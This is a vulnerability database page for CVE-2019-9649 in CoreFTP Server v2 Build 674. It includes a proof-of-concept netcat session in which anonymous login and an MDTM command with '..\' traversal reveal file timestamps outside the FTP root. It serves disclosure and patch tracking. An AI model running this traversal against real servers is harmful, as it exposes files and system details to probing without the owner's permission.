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Core FTP Server FTP / SFTP Server v2 Build 674 - 'MDTM' Directory Traversal
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
 | CoreFTP Server FTP / SFTP Server v2 Build 674 MDTM Directory Traversal Vulnerability | 12 Mar 201900:00 | – | zdt |
| CoreFTP Server MDTM Directory Traversal Exploit | 26 Aug 201900:00 | – | zdt |
 | CVE-2019-9649 | 22 Mar 201919:02 | – | cve |
 | CVE-2019-9649 | 22 Mar 201919:02 | – | cvelist |
 | CoreFTP 2.0 Build 674 MDTM - Directory Traversal (Metasploit) | 11 Mar 202000:00 | – | exploitdb |
 | Core FTP Server FTP SFTP Server v2 Build 674 - MDTM Directory Traversal | 13 Mar 201900:00 | – | exploitpack |
 | CVE-2019-9649 | 22 Mar 201920:29 | – | nvd |
 | CoreFTP Server FTP / SFTP Server 2 Build 674 MDTM Directory Traversal | 11 Mar 201900:00 | – | packetstorm |
| CoreFTP Server MDTM Directory Traversal | 23 Aug 201900:00 | – | packetstorm |
 | Directory traversal | 22 Mar 201920:29 | – | prion |
10
# Exploit Title: CoreFTP Server FTP / SFTP Server v2 - Build 674 MDTM Directory Traversal
# Google Dork: N/A
# Date: 3/13/2019
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www.coreftp.com
# Software Link: http://www.coreftp.com/server/index.html
# Version: Firmware: CoreFTP Server FTP / SFTP Server v2 - Build 674
# Tested on: Windows 7
# CVE : CVE-2019-9649
*Vendor has confirmed vulnerability and implemented an updated version*
Summary: Summary: By utilizing a directory traversal along with the FTP MDTM command, an attacker can browse outside the root directory to determine if a file exists based on return file size along with the date the file was last modified by using a ..\..\ technique
Tools used:
Parrot OS VM
Windows 7 VM
FTP / SFTP Server v2 - Build 674
Netcat
Proof of Concept (PoC):
File 1: ARP.exe
Type of file: Application(.EXE)
Description: TCP/IP Arp Command
Location: C:\Windows\System32\
Size: 20.5 KB (20,992 bytes)
Size on disk: 24.0 KB (24,576 bytes)
Created: Monday July 13, 2009 7:55:11 PM
Modified: Monday July 13, 2009, 9:14:12 PM
Accessed: Monday July 13, 2009 7:55:11 PM
#nc -nv 192.168.0.2 21
(UNKNOWN) [192.168.0.2] 21 (ftp) open
220 Core FTP Server Version 2.0, build 674, 32-bit, installed 1 days ago Unregistered
USER anonymous
331 password required for anonymous
PASS anonymous@
230-Logged on
230
MDTM C:\..\..\..\..\..\..\Windows\System32\ARP.exe
213 20090713211412Data
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13 Mar 2019 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 25
CVSS 35.3
EPSS0.28944